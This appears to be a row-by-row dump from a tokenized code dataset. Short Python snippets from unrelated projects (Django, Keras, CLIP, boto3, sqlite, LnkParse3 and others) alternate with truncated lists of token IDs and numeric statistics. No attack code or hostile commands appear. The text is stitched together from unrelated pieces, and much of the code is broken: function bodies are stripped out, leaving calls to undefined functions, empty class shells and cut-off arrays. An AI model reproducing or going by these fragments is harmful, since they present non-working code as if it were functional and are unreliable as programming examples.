[ 37811, 198, 220, 220, 220, 770, 2393, 4909, 477, 4326, 5254, 326, 954, 257, 1271, 286, 2482, 287, 262, 6831, 13, 357, 10606, 5546, 278, 284, 262, 2393, 25, 198, 220, 220, 220, 705, 2704, 2093, 62, 41143, 278, 42460, 3526, 14, 48806,...
3.132353
136
# Copyright 2018 The TensorFlow Constrained Optimization Authors. All Rights # Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #...
[ 2, 15069, 2864, 383, 309, 22854, 37535, 1482, 2536, 1328, 30011, 1634, 46665, 13, 1439, 6923, 198, 2, 33876, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 345, 743, 407, 198...
2.926854
998
from LnkParse3.extra.lnk_extra_base import LnkExtraBase """ ------------------------------------------------------------------ | 0-7b | 8-15b | 16-23b | 24-31b | ------------------------------------------------------------------ | <u_int32> BlockSize >= 0x00000088 ...
[ 6738, 406, 77, 74, 10044, 325, 18, 13, 26086, 13, 18755, 74, 62, 26086, 62, 8692, 1330, 406, 77, 74, 27726, 14881, 198, 198, 37811, 198, 10097, 438, 198, 91, 220, 220, 220, 220, 657, 12, 22, 65, 220, 220, 220, 220, 930, 220, 220...
2.469799
298
t = (5,11) x , y = t print(x,y) attendance = {"Rolf": 96, "Bob": 80, "Anne" :100} print(list(attendance.items())) for t in attendance.items() : print(t) # print(f"{student}: {attended}") for student, attended in attendance.items() : print(f"{student}: {attended}") # Blog post: https://blog.tecladocode.com/d...
[ 83, 796, 357, 20, 11, 1157, 8, 198, 87, 837, 331, 796, 256, 198, 4798, 7, 87, 11, 88, 8, 198, 198, 1078, 437, 590, 796, 19779, 49, 4024, 1298, 9907, 11, 366, 18861, 1298, 4019, 11, 366, 43227, 1, 1058, 3064, 92, 198, 4798, 7, ...
2.475219
343
from django.conf.urls.static import static from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from apps.app.views import * admin.autodiscover() urlpatterns = patterns('', url(r'^/?$','apps.app.views.index',name='index'), )
[ 6738, 42625, 14208, 13, 10414, 13, 6371, 82, 13, 12708, 1330, 9037, 198, 6738, 42625, 14208, 13, 10414, 13, 6371, 82, 1330, 7572, 11, 19016, 11, 2291, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 198, 6738, 42625, 14208, 13, 3642, ...
3.117021
94
#list list=["Apple","Mango","Banana","Pine Apple","Plum"] for lst in list : if lst=='Banana': continue else: print(lst) #tuples tpls = ("apple", "banana", "cherry","banana",) print("Tuples:",tpls) #Set st = set(("apple", "banana", "cherry")) st.add("damson") st.remove("banana") pri...
[ 2, 4868, 201, 198, 4868, 28, 14692, 16108, 2430, 44, 14208, 2430, 30457, 2271, 2430, 47, 500, 4196, 2430, 3646, 388, 8973, 201, 198, 1640, 300, 301, 287, 1351, 1058, 201, 198, 220, 220, 220, 611, 300, 301, 855, 6, 30457, 2271, 10354...
2.146667
225
import sqlite3 import time import random conn = sqlite3.connect('pokemon.db') c = conn.cursor() id = 0 for i in range(600): dynamic_data_entry() time.sleep(1) id += 1 c.close conn.close()
[ 11748, 44161, 578, 18, 198, 11748, 640, 198, 11748, 4738, 198, 198, 37043, 796, 44161, 578, 18, 13, 8443, 10786, 79, 12717, 13, 9945, 11537, 198, 66, 796, 48260, 13, 66, 21471, 3419, 198, 312, 796, 657, 628, 198, 220, 220, 220, 220,...
2.348315
89
# -*- coding: utf-8 -*- """ SQLpie License (MIT License) Copyright (c) 2011-2016 Andr Lessa, http://sqlpie.com See LICENSE file. """ from flask import g import sqlpie import math, json
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 198, 17861, 21749, 13789, 357, 36393, 13789, 8, 198, 15269, 357, 66, 8, 2813, 12, 5304, 843, 81, 12892, 64, 11, 2638, 1378, 25410, 21749, 13, 785, 198, 621...
2.764706
68
# Generated by Django 2.0.7 on 2018-07-17 12:42 from django.db import migrations, models import django.db.models.deletion
[ 2, 2980, 515, 416, 37770, 362, 13, 15, 13, 22, 319, 2864, 12, 2998, 12, 1558, 1105, 25, 3682, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14208, 13, 9945, 13, 27530, 13, 2934, 1616, 295, ...
2.818182
44
#------------------------------------------------------------------------------ # Libraries #------------------------------------------------------------------------------ # Standard import numpy as np import xgboost as xgb import lightgbm as lgbm #----------------------------------------------------------------------...
[ 2, 10097, 26171, 198, 2, 46267, 198, 2, 10097, 26171, 198, 2, 8997, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 2124, 70, 39521, 355, 2124, 22296, 198, 11748, 1657, 70, 20475, 355, 300, 70, 20475, 198, 198, 2, 10097, 26171, 198, ...
5.575758
132
import numpy as np from keras.models import Sequential from keras.layers import Conv2D, MaxPooling2D, Dense, Dropout, Flatten import keras.backend as K import random import os import sys sys.setrecursionlimit(1000000) if __name__=='__main__': pos = 2 print(str(pos)) train, test = read_module(pos) model = cr...
[ 11748, 299, 32152, 355, 45941, 198, 6738, 41927, 292, 13, 27530, 1330, 24604, 1843, 198, 6738, 41927, 292, 13, 75, 6962, 1330, 34872, 17, 35, 11, 5436, 27201, 278, 17, 35, 11, 360, 1072, 11, 14258, 448, 11, 1610, 41769, 198, 11748, ...
2.568266
271
from django.core.mail import send_mail from django.http import HttpResponse from session.redis import SessionRedis # Create your models here. # # # company_id
[ 6738, 42625, 14208, 13, 7295, 13, 4529, 1330, 3758, 62, 4529, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 198, 6738, 6246, 13, 445, 271, 1330, 23575, 7738, 271, 198, 198, 2, 13610, 534, 4981, 994, 13, 628, 198, 2, 22...
3.132075
53
from pyqtgraph.Qt import QtGui, QtCore import pyqtgraph import numpy as np
[ 6738, 12972, 80, 25297, 1470, 13, 48, 83, 1330, 33734, 8205, 72, 11, 33734, 14055, 198, 11748, 12972, 80, 25297, 1470, 198, 11748, 299, 32152, 355, 45941, 628 ]
2.714286
28
from PIL import Image from math import sqrt import os import time import json os.system('cls') COLORS = { "blocks_rgb":[ [ 224, 220, 200 ], [ 107, 88, 57 ], [ 146, 99, 86 ], ...
[ 6738, 350, 4146, 1330, 7412, 201, 198, 6738, 10688, 1330, 19862, 17034, 201, 198, 11748, 28686, 201, 198, 11748, 640, 201, 198, 11748, 33918, 201, 198, 201, 198, 418, 13, 10057, 10786, 565, 82, 11537, 201, 198, 201, 198, 25154, 20673, ...
1.611438
23,466
if __name__ == '__main__': main()
[ 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419, 198 ]
2.105263
19
import unittest import numpy as np from src.layers.flatten import Flatten
[ 11748, 555, 715, 395, 198, 198, 11748, 299, 32152, 355, 45941, 198, 198, 6738, 12351, 13, 75, 6962, 13, 2704, 41769, 1330, 1610, 41769, 628 ]
3.08
25
from imp import new_module from django.conf import settings def import_module(module_label, classes, namespace=None): u""" For dynamically importing classes from a module. Eg. calling import_module('product.models') will search INSTALLED_APPS for the relevant product app (default is 'oscar.prod...
[ 6738, 848, 1330, 649, 62, 21412, 198, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 628, 198, 198, 4299, 1330, 62, 21412, 7, 21412, 62, 18242, 11, 6097, 11, 25745, 28, 14202, 2599, 198, 220, 220, 220, 334, 37811, 198, 220, 220, 22...
2.160891
1,616
from domba.clis.base import Base from domba.libs import env_lib from domba.libs import knot_lib from domba.libs import kafka_lib import os
[ 6738, 288, 2381, 64, 13, 565, 271, 13, 8692, 1330, 7308, 198, 6738, 288, 2381, 64, 13, 8019, 82, 1330, 17365, 62, 8019, 198, 6738, 288, 2381, 64, 13, 8019, 82, 1330, 29654, 62, 8019, 198, 6738, 288, 2381, 64, 13, 8019, 82, 1330, ...
2.653846
52
import os import matplotlib.pyplot as plt import numpy as np import tensorflow as tf import input_fn.input_fn_2d.data_gen_2dt.data_gen_t2d_util.tfr_helper as tfr_helper os.environ["CUDA_VISIBLE_DEVICES"] = "" tf.enable_eager_execution() if __name__ == "__main__": print("run IS2d_triangle") # prefix = "val" ...
[ 11748, 28686, 198, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 299, 32152, 355, 45941, 198, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 11748, 5128, 62, 22184, 13, 15414, 62, 22184, 62, 17, 67, 13, 78...
2.059535
1,075
# coding: utf-8 import ui, os, datetime from operator import itemgetter MyTableView()
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 11748, 334, 72, 11, 28686, 11, 4818, 8079, 198, 6738, 10088, 1330, 2378, 1136, 353, 628, 198, 3666, 10962, 7680, 3419, 198 ]
2.933333
30
import numpy as np from matplotlib import pyplot as pl from matplotlib.colors import LogNorm fn = '../pozo-steep-vegetated-pcl.npy' pts = np.load(fn) x, y = pts[:, 0], pts[:, 1] ix = (0.2 * (x - x.min())).astype('int') iy = (0.2 * (y - y.min())).astype('int') shape = (100, 100) #xb = np.arange(shape[1]+1) #yb = np.ar...
[ 11748, 299, 32152, 355, 45941, 198, 6738, 2603, 29487, 8019, 1330, 12972, 29487, 355, 458, 198, 6738, 2603, 29487, 8019, 13, 4033, 669, 1330, 5972, 35393, 198, 198, 22184, 796, 705, 40720, 7501, 10872, 12, 4169, 538, 12, 303, 1136, 515,...
2.006006
333
# -*- coding: utf-8 -*- """ Datary sdk Remove Operations File """ import os from urllib.parse import urljoin from datary.auth import DataryAuth from datary.operations.limits import DataryOperationLimits import structlog logger = structlog.getLogger(__name__)
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 27354, 560, 264, 34388, 17220, 16205, 9220, 198, 37811, 198, 11748, 28686, 198, 198, 6738, 2956, 297, 571, 13, 29572, 1330, 19016, 22179, 198, 6738, 4818, 560,...
3.05814
86
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-06-12 10:39 from __future__ import unicode_literals from django.db import migrations, models
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 2980, 515, 416, 37770, 352, 13, 940, 13, 20, 319, 2177, 12, 3312, 12, 1065, 838, 25, 2670, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 1...
2.736842
57
import torch import clip from torch.utils.data import DataLoader, Dataset from PIL import Image import pickle from tqdm import tqdm import os import csv import threading import requests import shutil import PIL from typing import List, Tuple, Optional import argparse from pathlib import Path device = torch.device("cu...
[ 11748, 28034, 198, 11748, 10651, 198, 6738, 28034, 13, 26791, 13, 7890, 1330, 6060, 17401, 11, 16092, 292, 316, 198, 6738, 350, 4146, 1330, 7412, 198, 11748, 2298, 293, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 198, 11748, 28686,...
2.146883
1,171
# -*- coding:utf-8 -*- from unittest import TestCase from simstring.measure.cosine import CosineMeasure
[ 2, 532, 9, 12, 19617, 25, 40477, 12, 23, 532, 9, 12, 198, 198, 6738, 555, 715, 395, 1330, 6208, 20448, 198, 6738, 985, 8841, 13, 1326, 5015, 13, 6966, 500, 1330, 10437, 500, 47384, 628 ]
2.944444
36
# coding: utf-8 if DefLANG in ("RU", "UA"): AnsBase_temp = tuple([line.decode("utf-8") for line in ( " : %s", # 0 " .", # 1 ":\n", # 2 " .", # 3 "! jid , .", # 4 " jid'", # 5 " '%s' - JID.", # 6 "! .", # 7 " .", # 8 " .", # 9 " jid .", # 10 "%s .", # 11 "%s ." # 12...
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 198, 361, 2896, 43, 15567, 287, 5855, 49, 52, 1600, 366, 34970, 1, 2599, 198, 197, 2025, 82, 14881, 62, 29510, 796, 46545, 26933, 1370, 13, 12501, 1098, 7203, 40477, 12, 23, 4943, 329, 1627, 28...
2.097368
380
# Global objects import datetime import hashlib import subprocess import time import nltk from Prediction import Summarizer from data_utils import DataProcessor PAD_ID = 0 UNK_ID = 1 vocab_dict, word_embedding_array = DataProcessor().prepare_vocab_embeddingdict() # # print (len(vocab_embed_object.vocab_dict)-2) model...
[ 198, 2, 8060, 5563, 198, 11748, 4818, 8079, 198, 11748, 12234, 8019, 198, 11748, 850, 14681, 198, 11748, 640, 198, 11748, 299, 2528, 74, 198, 6738, 46690, 1330, 5060, 3876, 7509, 198, 6738, 1366, 62, 26791, 1330, 6060, 18709, 273, 198, ...
2.976
125
default_app_config = 'vault.apps.VaultConfig' __version__ = '1.3.7'
[ 12286, 62, 1324, 62, 11250, 796, 705, 85, 1721, 13, 18211, 13, 53, 1721, 16934, 6, 198, 198, 834, 9641, 834, 796, 705, 16, 13, 18, 13, 22, 6, 198 ]
2.3
30
import versioneer from setuptools import setup setup_args = dict( name='nbexamples', version=versioneer.get_version(), cmdclass=versioneer.get_cmdclass(), license='BSD', platforms=['Jupyter Notebook'], packages=[ 'nbexamples' ], include_package_data=True, install_requires=[ ...
[ 11748, 2196, 28153, 198, 6738, 900, 37623, 10141, 1330, 9058, 198, 198, 40406, 62, 22046, 796, 8633, 7, 198, 220, 220, 220, 1438, 11639, 46803, 1069, 12629, 3256, 198, 220, 220, 220, 2196, 28, 690, 7935, 263, 13, 1136, 62, 9641, 22784...
2.235
200
#!/usr/bin/env python #coding=utf-8 from toughlib import utils, apiutils from toughlib.permit import permit from toughradius.manage.api.apibase import ApiHandler from toughradius.manage import models from toughradius.manage.radius.radius_authorize import RadiusAuth
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 66, 7656, 28, 40477, 12, 23, 198, 198, 6738, 5802, 8019, 1330, 3384, 4487, 11, 40391, 26791, 198, 6738, 5802, 8019, 13, 525, 2781, 1330, 8749, 198, 6738, 5802, 42172, 13, 805, 496...
3.010753
93
from django.apps import AppConfig
[ 6738, 42625, 14208, 13, 18211, 1330, 2034, 16934, 628 ]
3.888889
9
""" Module for the methods regarding ms projects """ import jpype import jsonpath_ng.ext import mpxj from fastapi import APIRouter, File, UploadFile from datatypes.models import * from dependencies import * router = APIRouter( prefix="/msprojects", tags=["msprojects"], dependencies=[] )
[ 37811, 198, 26796, 329, 262, 5050, 5115, 13845, 4493, 198, 37811, 198, 198, 11748, 474, 79, 2981, 198, 11748, 33918, 6978, 62, 782, 13, 2302, 198, 11748, 285, 8416, 73, 198, 6738, 3049, 15042, 1330, 3486, 4663, 39605, 11, 9220, 11, 36...
3.154639
97
import pickle import matplotlib.pyplot as plt from matplotlib_venn import venn3 test_list_path = 'final/wrterbcher/' password_list_path = 'final/generated_password_lists/' test_set = load_password_list(test_list_path + 'test') train_words = pickle.load(open('train_words_real.pkl', 'rb')) test_words = pickle.load(open...
[ 11748, 2298, 293, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 6738, 2603, 29487, 8019, 62, 574, 77, 1330, 410, 1697, 18, 198, 198, 9288, 62, 4868, 62, 6978, 796, 705, 20311, 14, 18351, 353, 65, 2044, 14, 6, ...
2.512027
582
# Generated by Django 2.2.13 on 2020-12-02 06:18 from django.db import migrations, models import django.db.models.deletion
[ 2, 2980, 515, 416, 37770, 362, 13, 17, 13, 1485, 319, 12131, 12, 1065, 12, 2999, 9130, 25, 1507, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14208, 13, 9945, 13, 27530, 13, 2934, 1616, 295,...
2.840909
44
""" This module provides local and cloud storage of computed values. The main point of entry is the PersistentCache, which encapsulates this functionality. """ import attr import os import shutil import tempfile import yaml import warnings from uuid import uuid4 from pathlib import Path from bionic.exception import ...
[ 37811, 198, 1212, 8265, 3769, 1957, 290, 6279, 6143, 286, 29231, 3815, 13, 220, 383, 1388, 198, 4122, 286, 5726, 318, 262, 9467, 7609, 30562, 11, 543, 32652, 15968, 428, 11244, 13, 198, 37811, 198, 198, 11748, 708, 81, 198, 11748, 286...
2.383079
3,806
import json import boto3 #Last Updated #5/3/2020 s3 = boto3.client('s3') #S3 object
[ 11748, 33918, 198, 11748, 275, 2069, 18, 198, 2, 5956, 19433, 198, 2, 20, 14, 18, 14, 42334, 198, 82, 18, 796, 275, 2069, 18, 13, 16366, 10786, 82, 18, 11537, 1303, 50, 18, 2134, 198 ]
2.333333
36
import tensorflow as tf
[ 11748, 11192, 273, 11125, 355, 48700, 628 ]
3.571429
7
from functools import partial import pytest from plenum.test import waits from plenum.test.helper import sendRandomRequests, waitForSufficientRepliesForRequests, checkReqAck from plenum.test.pool_transactions.helper import buildPoolClientAndWallet from stp_core.loop.eventually import eventuallyAll from stp_core.vali...
[ 6738, 1257, 310, 10141, 1330, 13027, 198, 198, 11748, 12972, 9288, 198, 198, 6738, 458, 44709, 13, 9288, 1330, 28364, 198, 198, 6738, 458, 44709, 13, 9288, 13, 2978, 525, 1330, 3758, 29531, 16844, 3558, 11, 4043, 1890, 50, 15267, 39232,...
2.362784
747
"""User model module""" import jwt from datetime import datetime, timedelta from django.db import models from django.utils import timezone from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin from django.conf import settings from django.core.validators import RegexValidator from .base_model impor...
[ 37811, 12982, 2746, 8265, 37811, 198, 11748, 474, 46569, 198, 6738, 4818, 8079, 1330, 4818, 8079, 11, 28805, 12514, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 198, 6738, 42625, 14208, 13, 26791, 1330, 640, 11340, 198, 6738, 42625...
3.728155
103
# Initialize Django. from djangoappengine import main from django.utils.importlib import import_module from django.conf import settings # Load all models.py to ensure signal handling installation or index # loading of some apps for app in settings.INSTALLED_APPS: try: import_module('%s.models' % (app)) ...
[ 2, 20768, 1096, 37770, 13, 198, 6738, 42625, 14208, 1324, 18392, 1330, 1388, 198, 198, 6738, 42625, 14208, 13, 26791, 13, 11748, 8019, 1330, 1330, 62, 21412, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 628, 198, 2, 8778, 477, 4981, ...
2.977918
317